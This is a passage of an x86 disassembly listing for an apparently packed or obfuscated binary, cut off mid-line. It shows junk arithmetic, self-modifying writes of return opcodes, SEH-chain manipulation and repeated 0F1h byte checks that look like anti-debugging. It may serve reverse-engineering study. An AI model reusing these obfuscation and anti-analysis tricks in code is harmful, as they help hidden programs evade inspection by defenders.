y22d6.y.:00444218j test ebp, 5208F0DDh jmp loc_4401A5 ; --------------------------------------------------------------------------- loc_44D086: ; DATA XREF: sub_4441E8+3D52o pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D088 proc near ; CODE XREF: sub_44DB81-15AA1p ; sub_44364E-AFBEj ... push ebp mov ebp, esp jns sub_44C1E2 add esp, 0FFFFFFF8h call sub_4395B1 loc_44D099: ; CODE XREF: sub_44B635:loc_446267j jz loc_445CA6 jmp loc_43D001 sub_44D088 endp ; --------------------------------------------------------------------------- loc_44D0A4: ; CODE XREF: y22d6.y.:loc_438A50j jz loc_44CC16 jmp loc_43EC15 ; --------------------------------------------------------------------------- rol eax, 4 sub eax, 5F99CAC9h push edx push 0B2F4EEE1h pop edx add edx, 1414D381h or edx, 0F8567027h jmp loc_447136 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438399 loc_44D0D1: ; CODE XREF: sub_438399+10j jmp loc_439315 ; END OF FUNCTION CHUNK FOR sub_438399 ; --------------------------------------------------------------------------- dw 8B62h dword_44D0D8 dd 0 ; DATA XREF: y22d6.y.:0043DD29r ; sub_44A620-6A61w dword_44D0DC dd 1A90884Fh, 8C8B8C66h, 0F0063D8h, 0FF3C9085h, 0D87EE8FFh ; DATA XREF: y22d6.y.:0043A83Eo ; y22d6.y.:0044CA56o db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_44D0F2: ; CODE XREF: y22d6.y.:0043F799j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446236 loc_44D0F3: ; CODE XREF: sub_446236+10j jmp loc_441D3D ; END OF FUNCTION CHUNK FOR sub_446236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_44D0F8: ; CODE XREF: sub_43CA1A+1Aj ; sub_448EB6:loc_440501j lea eax, [ebp-12Dh] mov [ebp-28h], eax loc_44D101: ; CODE XREF: sub_44571D-CA8Cj mov eax, [ebp-24h] cmp byte ptr [eax], 0 jnz loc_449433 jmp loc_441FFF ; END OF FUNCTION CHUNK FOR sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_44D112: ; CODE XREF: sub_44313A+ACE0j pop edi and edi, 6EBB246Ch add edi, 0BB9FC02Ch mov [edi], eax call sub_44313A ; END OF FUNCTION CHUNK FOR sub_44313A ; START OF FUNCTION CHUNK FOR sub_44D64C loc_44D126: ; CODE XREF: sub_44D64C+Cj jmp loc_440E0A ; END OF FUNCTION CHUNK FOR sub_44D64C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4476DE loc_44D12B: ; CODE XREF: sub_4476DE+1Cj jmp loc_44BBA3 ; END OF FUNCTION CHUNK FOR sub_4476DE ; =============== S U B R O U T I N E ======================================= sub_44D130 proc near ; DATA XREF: y22d6.y.:00447D75o mov ds:dword_41E134, eax push offset sub_43A9FE jmp nullsub_357 sub_44D130 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_44D140: ; CODE XREF: sub_44C59C:loc_43E804j or eax, 9B79C51Ah add eax, 2046B9B4h popf xchg eax, [esp-8+arg_4] jmp loc_44732D ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44D155: ; CODE XREF: sub_44B1D2:loc_44770Aj or edx, ds:4000E9h add edx, 8147F379h mov [edx], eax pop edx push offset loc_43E592 jmp loc_4473C1 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44D16E: ; CODE XREF: sub_43B7B5+C58Bj add ebx, 5D7077A2h pop ecx jmp loc_443C2F ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44D17A: ; CODE XREF: sub_43C55B:loc_444CACj sub al, 99h call sub_4452EE loc_44D181: ; CODE XREF: sub_43AD2F+FB10j add eax, ebp add eax, 0EE497ACAh mov eax, [eax] test eax, eax jle loc_4422D0 jmp loc_448538 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- loc_44D198: ; CODE XREF: y22d6.y.:00438F3Dj mov ebp, [edx] ; =============== S U B R O U T I N E ======================================= sub_44D19A proc near ; CODE XREF: sub_44B27F:loc_44BFC5p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] mov edx, eax jmp sub_43D448 sub_44D19A endp ; sp-analysis failed ; --------------------------------------------------------------------------- jns loc_44C7F9 jmp sub_43FBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_44D1B3: ; CODE XREF: sub_43C7C1:loc_44456Cj call sub_43D543 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; START OF FUNCTION CHUNK FOR sub_44A359 loc_44D1B8: ; CODE XREF: sub_44A359-10455j jmp nullsub_237 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44997F loc_44D1BD: ; CODE XREF: sub_44997F-B4Dj xor esi, edx loc_44D1BF: ; CODE XREF: sub_44997F:loc_448E2Bj and ebx, 99F88810h sub ebx, 0CD94EC7Fh jb loc_440A06 loc_44D1D1: ; CODE XREF: sub_43CC1A+167Cj jmp loc_44BF6C ; END OF FUNCTION CHUNK FOR sub_44997F ; --------------------------------------------------------------------------- push ebx jmp loc_440A00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_44D1DC: ; CODE XREF: sub_44D7E0-116DEj pop esi or esi, 0E2FB7345h add esi, 0D42662Fh mov [esi], eax pop esi lea eax, loc_440A66 mov byte ptr [eax], 0C3h jmp loc_440A66 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_44D1FA: ; CODE XREF: sub_44243B:loc_43DCF8j jl loc_43897B loc_44D200: ; CODE XREF: y22d6.y.:004403D9j jmp nullsub_239 ; END OF FUNCTION CHUNK FOR sub_44243B ; --------------------------------------------------------------------------- jge loc_4461A6 mov ecx, [ebp+0] jmp loc_43897B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_44D213: ; CODE XREF: sub_44156E+1D09j jb loc_443DE0 loc_44D219: ; CODE XREF: sub_44156E:loc_4408B2j mov eax, 0DD70DD34h push ecx push 0F4C6ED8h pop ecx jmp loc_43A68E ; END OF FUNCTION CHUNK FOR sub_44156E ; =============== S U B R O U T I N E ======================================= sub_44D22A proc near ; CODE XREF: sub_4418C5-2EDEp ; sub_4455ED+12j ; FUNCTION CHUNK AT 00437731 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00439C88 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_440251 jmp loc_439C88 sub_44D22A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44D23E: ; CODE XREF: sub_43B09B:loc_438EDFj mov byte ptr [eax], 0C3h jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push esi mov esi, edx jmp loc_44E0C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44D252: ; CODE XREF: sub_44057E+57B1j jz loc_43F725 jmp loc_44B584 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_44D25D: ; CODE XREF: sub_43E037+F82Bj jo loc_43AB03 sub al, 99h mov edx, [ebp-4] call sub_44123E loc_44D26D: ; CODE XREF: y22d6.y.:00437819j jmp loc_44AABB ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44051D loc_44D272: ; CODE XREF: sub_44051Dj ; sub_448EB6+A01j mov eax, [ebp-4] mov al, [eax] mov [ebp-9], al mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] jmp loc_438EB6 ; END OF FUNCTION CHUNK FOR sub_44051D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44D28C: ; CODE XREF: sub_43B09B:loc_438E1Bj mov ds:dword_440354, eax retn ; END OF FUNCTION CHUNK FOR sub_43B09B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D293 proc near ; CODE XREF: sub_44066C-92D3p ; sub_43AD2F-395Ap ... push ebp mov ebp, esp jb sub_44DF58 jmp sub_43EC51 sub_44D293 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44D2A1: ; CODE XREF: sub_438B66:loc_446FDAj add eax, 0B7694EDCh mov eax, [eax] mov esp, ebp pop ebp jmp nullsub_242 ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_44D2B1 proc near ; DATA XREF: sub_4480DE-90F2o cmp word ptr [eax], 2ECDh jz loc_44D2C1 jmp loc_444E23 sub_44D2B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_44D2C1: ; CODE XREF: sub_4480DE-90FBj ; sub_44D2B1+5j jb loc_4496B2 mov eax, [ebp+var_4] call sub_438F66 jmp loc_4485FF ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A53A loc_44D2D4: ; CODE XREF: sub_44A53A-C6BFj jl sub_443778 ; END OF FUNCTION CHUNK FOR sub_44A53A ; =============== S U B R O U T I N E ======================================= sub_44D2DA proc near ; CODE XREF: sub_4491D8-C202p xchg ecx, [esp+0] pop ecx pop edi lea eax, sub_447268 push (offset loc_4443FC+3) jmp nullsub_245 sub_44D2DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb ebp, 0C5BCB6AAh jmp sub_44825F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44D2FA: ; CODE XREF: sub_440280+7F24j jp loc_43F610 sbb esi, edi loc_44D302: ; CODE XREF: sub_440280:loc_4489EFj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_438F05 jmp loc_441DFB ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_44D313 proc near ; CODE XREF: y22d6.y.:00442D90j ; sub_4432B8+1AEDp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004426C9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004444BF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00445A55 SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx loc_44D317: ; CODE XREF: y22d6.y.:0043EE04j mov eax, [ebp-18h] shl eax, 2 cdq jmp loc_4426C9 sub_44D313 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_44D323: ; CODE XREF: sub_446F34:loc_43EF62j mov eax, [esp+0] push edx push eax push 578F22AEh pop eax rol eax, 15h add eax, 1BF4486Bh or eax, 0F829D816h jmp loc_43C2D9 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- jno loc_439167 jmp sub_44E51C ; --------------------------------------------------------------------------- loc_44D34D: ; DATA XREF: sub_437712+44E5o add edi, 0FFC2B408h xchg edi, [esp] jmp loc_442F17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA4B loc_44D35B: ; CODE XREF: sub_44DA4B-3D9Cj and edx, 7A15E609h add edx, 0B02F6308h call sub_440E55 ; END OF FUNCTION CHUNK FOR sub_44DA4B ; START OF FUNCTION CHUNK FOR sub_444F2B loc_44D36C: ; CODE XREF: sub_444F2B+7j jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_444F2B ; =============== S U B R O U T I N E ======================================= sub_44D371 proc near ; DATA XREF: sub_442592+5E86o ; FUNCTION CHUNK AT 0043D6B0 SIZE 0000000B BYTES mov eax, ds:dword_444B94 or eax, eax jnz loc_43D6B0 jmp loc_44A994 sub_44D371 endp ; --------------------------------------------------------------------------- ja loc_4407FB jmp sub_441DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CCD2 loc_44D38F: ; CODE XREF: sub_43CCD2+10j mov byte ptr [eax], 0C3h jmp sub_4464C8 ; END OF FUNCTION CHUNK FOR sub_43CCD2 ; =============== S U B R O U T I N E ======================================= sub_44D397 proc near ; CODE XREF: sub_401000+202p ; sub_401000+287p ... call sub_44D3B1 jmp ds:off_41E030 sub_44D397 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448E3E loc_44D3A2: ; CODE XREF: sub_448E3E+11j jmp loc_43FB27 ; END OF FUNCTION CHUNK FOR sub_448E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44D3A7: ; CODE XREF: sub_448EB6-A9BAj jmp loc_43BB34 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44D3AC: ; CODE XREF: y22d6.y.:00438429j jmp sub_4480DE ; =============== S U B R O U T I N E ======================================= sub_44D3B1 proc near ; CODE XREF: sub_44D397p ; y22d6.y.:loc_44DC02j ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00438998 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A2F6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043B599 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043E07A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F825 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044091E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00444B2B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044AD7A SIZE 0000000A BYTES pop edx jns loc_44AD7A mov eax, [esp+8+var_8] push edx call sub_44A22A loc_44D3C1: ; CODE XREF: sub_43BB5A+6j pop ebx add ebx, 4EB6055Dh test ebx, 20000000h jmp loc_43F825 sub_44D3B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:dword_41E138 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_340. PRESS KEYPAD "+" TO EXPAND] dw 0A83h dd 5AFFFFE0h, 123FE8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4496A3 loc_44D3E5: ; CODE XREF: sub_4496A3+Aj jmp loc_44C431 ; END OF FUNCTION CHUNK FOR sub_4496A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_44D3EA: ; CODE XREF: sub_441191+5034j jmp nullsub_368 ; END OF FUNCTION CHUNK FOR sub_441191 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_44D3EF: ; CODE XREF: sub_4384B4+CF8Bj jmp loc_43F1E3 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_44D3F4: ; CODE XREF: sub_44D6D0-C1D0j popf cdq push 0C64838A4h loc_44D3FB: ; CODE XREF: sub_44D6D0:loc_43D617j xor edx, 71C6A8C6h jnz loc_43ED23 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; START OF FUNCTION CHUNK FOR sub_439E63 loc_44D407: ; CODE XREF: sub_439E63+11DF6j jmp sub_439E63 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44D40C: ; CODE XREF: sub_4432B8+1DAj jmp nullsub_247 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B006 loc_44D411: ; CODE XREF: sub_43B006+12j jmp loc_44DF83 ; END OF FUNCTION CHUNK FOR sub_43B006 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44D417: ; CODE XREF: y22d6.y.:00448C1Fj jmp loc_44426B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BC16 loc_44D41C: ; CODE XREF: sub_43BC16-3B79j jmp nullsub_248 ; END OF FUNCTION CHUNK FOR sub_43BC16 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44D422: ; CODE XREF: sub_44BCC2-B218j jmp loc_438846 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44D427: ; CODE XREF: sub_444D95-A9F1j jmp loc_44B19C ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44D42C: ; CODE XREF: sub_44AA69-115E5j jmp loc_44AE6F ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- loc_44D431: ; DATA XREF: sub_43A3A9+45E6o xor eax, eax ; START OF FUNCTION CHUNK FOR sub_44D43E loc_44D433: ; CODE XREF: sub_44D43E-F62Cj pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_44D43E ; =============== S U B R O U T I N E ======================================= sub_44D43E proc near ; CODE XREF: sub_43A3A9p ; FUNCTION CHUNK AT 0043DE04 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044D433 SIZE 0000000B BYTES push large dword ptr fs:0 jmp loc_43DE04 sub_44D43E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44D44A proc near ; DATA XREF: sub_441191+502Fo ; FUNCTION CHUNK AT 0043B453 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00442C58 SIZE 00000012 BYTES ror eax, 1 push ebx push 59782757h pop ebx and ebx, 7F7A223Fh jmp loc_43B453 sub_44D44A endp ; --------------------------------------------------------------------------- loc_44D45E: ; CODE XREF: y22d6.y.:00447B48j adc ebp, esi ; =============== S U B R O U T I N E ======================================= sub_44D460 proc near ; CODE XREF: sub_44BCC2:loc_44C03Ep var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043E0EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044080F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004416A4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445259 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_44E5C7 jmp loc_44080F sub_44D460 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub esi, eax sbb edx, 0B4CD5AF5h jmp sub_43DF1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_44D47B: ; CODE XREF: sub_44E5C7:loc_438A28j cmp byte ptr [eax], 0F1h jnz loc_43C52F jmp loc_43DB66 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44D489: ; CODE XREF: sub_4432B8+1FCj jz loc_449507 push 57BC06B1h jmp loc_449501 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_44D499 proc near ; CODE XREF: sub_44D54C:loc_443D25j retn sub_44D499 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44D49A: ; CODE XREF: sub_43B7D4+126B4j jmp loc_43CA1F ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- xchg edi, ebx popf jmp sub_443CB9 ; --------------------------------------------------------------------------- loc_44D4A7: ; DATA XREF: sub_442C0C-360Do mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44951A jmp loc_443F98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F891 loc_44D4B7: ; CODE XREF: sub_43F891+Ej call sub_43E6C0 ; END OF FUNCTION CHUNK FOR sub_43F891 ; START OF FUNCTION CHUNK FOR sub_43C5EE loc_44D4BC: ; CODE XREF: sub_43C5EE+14j jmp loc_44AF94 ; END OF FUNCTION CHUNK FOR sub_43C5EE ; --------------------------------------------------------------------------- shl edx, 0Bh mov [edi], ebp jmp sub_4414E8 ; --------------------------------------------------------------------------- loc_44D4CB: ; CODE XREF: y22d6.y.:loc_4455E8j mov byte ptr [eax], 0C3h jmp nullsub_370 ; --------------------------------------------------------------------------- loc_44D4D3: ; CODE XREF: y22d6.y.:0044D681j mov eax, [esp] push ecx mov ecx, edx xchg ecx, [esp] push esi call sub_44A9F2 ; START OF FUNCTION CHUNK FOR sub_44C194 loc_44D4E2: ; CODE XREF: sub_44C194:loc_449366j jmp nullsub_251 ; END OF FUNCTION CHUNK FOR sub_44C194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44D4E7: ; CODE XREF: sub_43E81B+4F82j jmp loc_4480F1 ; END OF FUNCTION CHUNK FOR sub_43E81B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_367. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_44D4ED: ; CODE XREF: sub_444427+Bj jmp loc_442CAF ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_44D4F2: ; CODE XREF: y22d6.y.:0043BF90j jmp loc_43D6CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44D4F7: ; CODE XREF: sub_44BCC2-4E6Fj push 0F257E40Bh pop eax sub eax, ds:4000EBh push offset loc_43BD62 jmp nullsub_252 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44485F loc_44D50D: ; CODE XREF: sub_44485F:loc_44DD48j test ebp, 0CBB77475h jmp loc_44C5A7 ; END OF FUNCTION CHUNK FOR sub_44485F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FE3B loc_44D518: ; CODE XREF: sub_43FE3B:loc_43E6A1j rol esi, 1 add esi, 44C028h xchg esi, [esp+4+var_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43FE3B ; --------------------------------------------------------------------------- push edi push 2EDDB352h pop edi jmp loc_4387A4 ; =============== S U B R O U T I N E ======================================= sub_44D534 proc near ; CODE XREF: y22d6.y.:0043CAE8j ; sub_43D59A+8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00447D09 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044A999 SIZE 00000005 BYTES xchg edx, [esp-4+arg_0] pop edx xchg edi, [esp+0] push 8193FC22h pop ebx loc_44D541: ; CODE XREF: sub_4432B8:loc_44C0A3j jmp loc_447D09 sub_44D534 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A3A9 loc_44D546: ; CODE XREF: sub_43A3A9+45F3j jle loc_43E227 ; END OF FUNCTION CHUNK FOR sub_43A3A9 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_44D54C proc near ; CODE XREF: y22d6.y.:0043F772j ; sub_44BBBA:loc_4422DCp ; FUNCTION CHUNK AT 00443D25 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add ebx, 99EAAC3Eh mov [ebx], edx push offset sub_439184 jmp loc_443D25 sub_44D54C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44D562: ; CODE XREF: y22d6.y.:loc_440645j ; sub_440280:loc_4493F8j xchg ebp, [esp+0] loc_44D565: ; CODE XREF: sub_448EB6+C2j ror eax, 0Bh push ebx push 0C522A194h pop ebx jmp loc_448374 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44D574: ; CODE XREF: sub_44AEDA-111C2j cmp edx, 2C68D689h jmp loc_44B3A4 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44D57F: ; CODE XREF: sub_44BF91:loc_439689j ; sub_448EB6-80D7j rol eax, 15h add eax, 106C186Ah mov ds:dword_442554, eax ; END OF FUNCTION CHUNK FOR sub_448EB6 ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_44D58E: ; CODE XREF: sub_43A6E1:loc_43B0E3j ; sub_43A6E1+1324j push edx push 5D8C654Eh pop edx rol edx, 7 and edx, 7E47A0A6h jmp loc_442D4A ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- loc_44D5A3: ; DATA XREF: sub_440D9E+5B8o cmp byte ptr [eax], 0F1h jnz loc_44A7E3 jmp loc_4463FB ; --------------------------------------------------------------------------- loc_44D5B1: ; CODE XREF: y22d6.y.:0043C5E9j ror ecx, 4 ; =============== S U B R O U T I N E ======================================= sub_44D5B4 proc near ; CODE XREF: sub_43BEF7+BD6Ep xchg edi, [esp+0] pop edi add eax, [ebp-4] xor edx, edx jmp loc_44967D sub_44D5B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6F loc_44D5C2: ; CODE XREF: sub_438A6F:loc_43DAF5j add esp, 8 jmp loc_44B0C7 ; END OF FUNCTION CHUNK FOR sub_438A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_44D5CA: ; CODE XREF: sub_43F501+9964j popf mov ebx, 79A8A918h and ecx, esi jmp loc_44419E ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_44D5D7: ; CODE XREF: sub_444541-8352j pop eax rol eax, 1Eh xor eax, 0B30A8546h add eax, 5F8A9E10h xchg eax, [esp+4+var_4] jmp loc_44AC7E ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- loc_44D5EF: ; CODE XREF: y22d6.y.:0043BEBCj rol ebp, 8 and ecx, eax test ebp, 0B1C1B398h jmp loc_441DE2 ; --------------------------------------------------------------------------- loc_44D5FF: ; CODE XREF: y22d6.y.:loc_442D45j add esi, 1988E55Eh call sub_438CA4 ; START OF FUNCTION CHUNK FOR sub_44271A loc_44D60A: ; CODE XREF: sub_44271A+7740j jmp loc_444877 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44D60F: ; CODE XREF: sub_43B252:loc_43D896j jl loc_44B1BE loc_44D615: ; CODE XREF: y22d6.y.:00444BE4j jmp loc_440A72 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- mov esi, edx not esi xchg esi, ecx jmp loc_44B1BB ; --------------------------------------------------------------------------- loc_44D625: ; CODE XREF: y22d6.y.:004418A2j sub eax, 395DB991h xor eax, 0FEDDBBCCh push edi push 0FB33181h pop edi or edi, 0FF31FE99h add edi, 8FBBADh xchg edi, [esp] jmp loc_448D8D ; =============== S U B R O U T I N E ======================================= sub_44D64C proc near ; CODE XREF: sub_43A148-37Ep ; y22d6.y.:0044C74Cj ; FUNCTION CHUNK AT 00440E0A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044D126 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add ecx, 3447D0FEh mov ecx, [ecx] jmp loc_44D126 sub_44D64C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44D65D: ; CODE XREF: y22d6.y.:loc_44AFD5j lea eax, nullsub_297 mov byte ptr [eax], 0C3h jmp nullsub_297 ; --------------------------------------------------------------------------- call nullsub_370 jmp ds:dword_41E19C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_44D676: ; CODE XREF: sub_44B635-3A56j jmp loc_4475F4 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_44D67B: ; CODE XREF: sub_43A58D+BD8Fj jmp loc_43FA17 ; END OF FUNCTION CHUNK FOR sub_43A58D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_370. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jb loc_44D4D3 mov eax, [esp] jmp loc_4489DC ; --------------------------------------------------------------------------- loc_44D68F: ; CODE XREF: y22d6.y.:loc_4373F4j ; y22d6.y.:loc_43B2EDj xchg eax, [esp] mov edx, eax push ebx push 0EBA05A75h pop ebx add ebx, 0F5E57382h jmp loc_4458F8 ; --------------------------------------------------------------------------- loc_44D6A6: ; CODE XREF: y22d6.y.:004373FAj jz loc_4371DF jmp loc_445993 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_44D6B2: ; CODE XREF: sub_441030+2B6Bj jmp sub_442AFF ; END OF FUNCTION CHUNK FOR sub_441030 ; =============== S U B R O 